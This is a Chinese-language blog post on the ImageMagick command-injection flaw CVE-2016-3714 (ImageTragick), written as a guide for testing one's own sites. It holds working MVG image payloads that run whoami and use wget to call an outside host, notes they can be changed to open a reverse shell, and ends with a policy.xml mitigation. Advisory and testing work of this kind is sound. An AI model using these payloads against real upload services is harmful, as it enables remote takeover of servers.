• ImageMagick命令执行漏洞(CVE-2016–3714)利用及测试


     

     

     

      ImageMagick命令执行漏洞(CVE-2016–3714)

    5月3日,ImageMagick官方披露称,目前ImageMagick存在一处远程命令执行漏洞(CVE-2016–3714),当其处理的上传图片带有攻击代码时,可被远程执行任意代码,进而导致攻击者控制服务器。

    ImageMagick是一款开源图片处理库,支持PHP、Ruby、NodeJS和Python等多种语言,使用非常广泛。包括PHP imagick、Ruby rmagick和paperclip以及NodeJS imagemagick等多个图片处理插件都依赖它运行。

    著名的开源应用wordpress已经受此漏洞的影响,攻击者有上传图片的权限,就能直接获取wordpress应用服务器的管理权限。具体的测试方法参考

    建议业务开发检查自身的web网站,如有使用ImageMagick进行图片处理、渲染,可以按照下文中的方法进行测试,重点检查头像上传、图片上传等功能。

    具体的攻击代码如下:

    push graphic-context
    viewbox 0 0 640 480
    fill 'url(https://example.com/image.jpg"|whoami")'
    pop graphic-context
    

    只需要将以上内容保存成1.jpg,上传到存在漏洞的服务器,就可以执行whoami命令。

    可以在centos下安装ImageMagick,用其convert命令才测试,安装:

    yum install -y ImageMagick ImageMagick-devel

    测试如图:

    可以使用cloudeye来进行漏洞的检测,代码如下:

    push graphic-context
    viewbox 0 0 640 480
    fill 'url(https://example.com/image.jpg"|wget http://www.xxx.cn/test.txt")'
    pop graphic-context

    将以上内容保存成图片,上传到漏洞服务器,查看nxadmin.com的web日志,就可以确认是否存在此漏洞。

    还可以直接反弹shell,修改命令即可,某站好像都被人玩坏了,修复速度略慢!关于漏洞的分析等方法参考老外的文章:

    https://imagetragick.com/?from=timeline&isappinstalled=0&nsukey=b9PCChGjiQewRcBbKUWT%2FOoOgM2gsGA0Iw6%2FLku0qu9OLNgCD%2BVoc%2FeoqJV6abn85X6fi9bRA2VY7fa1XkNFKg%3D%3D

    http://pastebin.com/aE4sKnCg

    还有redrain大师傅的文章:

    http://card.weibo.com/article/h5/s#cid=1001603971443670055277&vid=1775514755&extparam=&from=&wm=0&ip=65.255.33.53

    wordpress的漏洞利用方法参考如下文章:

    http://ricterz.me/posts/Write%20Up%3A%20Remote%20Command%20Execute%20in%20Wordpress%204.5.1?_=1462421840979

    防护建议(by imagetragick.com)

    使用策略文件暂时禁用ImageMagick。可在“/etc/ImageMagick/policy.xml”文件中添加如下代码:

    <policymap>
    <policy domain=”coder” rights=”none” pattern=”EPHEMERAL” />
    <policy domain=”coder” rights=”none” pattern=”URL” />
    <policy domain=”coder” rights=”none” pattern=”HTTPS” />
    <policy domain=”coder” rights=”none” pattern=”MVG” />
    <policy domain=”coder” rights=”none” pattern=”MSL” />
    </policymap>

  • 相关阅读:
    java基础篇 之 非静态内部类
    java基础篇 之 super关键字的理解
    Spring Cloud学习 之 Spring Cloud Ribbon(负载均衡策略)
    java基础篇 之 接口
    java基础篇 之 构造器内部的多态行为
    Spring Cloud学习 之 Spring Cloud Ribbon(负载均衡器源码分析)
    Spring Cloud学习 之 Spring Cloud Ribbon(执行流程源码分析)
    Spring Cloud 学习 之 Spring Cloud Ribbon(基础知识铺垫)
    计算机网络基础
    Python异常处理
  • 原文地址:https://www.cnblogs.com/ywffoo/p/5709695.html
Copyright © 2020-2023  润新知